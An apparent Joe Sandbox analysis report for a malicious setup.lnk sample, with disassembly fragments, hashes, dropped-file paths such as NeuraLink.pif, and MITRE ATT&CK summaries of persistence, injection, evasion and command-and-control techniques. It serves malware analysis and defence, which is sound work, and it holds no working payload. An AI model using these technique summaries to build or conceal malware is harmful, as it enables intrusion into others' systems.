Part of subcall function 00D79450: _wmemmove.LIBCMTD ref: 00D7948E

Strings

(%d%s), xrefs: 00D689D5

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AllocatorDebugHeap_wmemmovewsprintf
String ID: (%d%s)
API String ID: 2575367435-2087557067
Opcode ID: 269a466badee18be8d8adb1dbcf86e9448d30ba688019cd758a55e21b7df12ec
Instruction ID: 0cc2b0c55cdf9a35f254d3a7c17742e016142634815c225e4b1cbc0569b0ed16
Opcode Fuzzy Hash: 269a466badee18be8d8adb1dbcf86e9448d30ba688019cd758a55e21b7df12ec
Instruction Fuzzy Hash: CE01447195011C9BDB14EB58DC99BE9B378FB14304F5046D8A41D92142EB716E84CF75

Uniqueness

Uniqueness Score: -1.00%

Function 00D67510 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Could not allocate memory,7-Zip SFX,00000010), ref: 00D67521

Strings

Could not allocate memory, xrefs: 00D6751A
7-Zip SFX, xrefs: 00D67515

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: Message
String ID: 7-Zip SFX$Could not allocate memory
API String ID: 2030045667-3806377612
Opcode ID: 60af6774c3dde12110016e63e7655d578c5168c9736180cbeca7e7b7b88cb41d
Instruction ID: 4d19705723c17268506bdd88c49397f700f6ea1d5bcf3a2538bdd02c1abd4608
Opcode Fuzzy Hash: 60af6774c3dde12110016e63e7655d578c5168c9736180cbeca7e7b7b88cb41d
Instruction Fuzzy Hash: 9DB092303EC3097FF10072E96C0FF167A88D708F96F400412F249A85C2D8C260545276

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report setup.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\setup[1]

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\NeuraConnect Technologies\B

C:\Users\user\AppData\Local\NeuraConnect Technologies\NeuraLink.js

C:\Users\user\AppData\Local\NeuraConnect Technologies\NeuraLink.pif

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\m

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Ada

Windows Analysis Report
setup.lnk

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre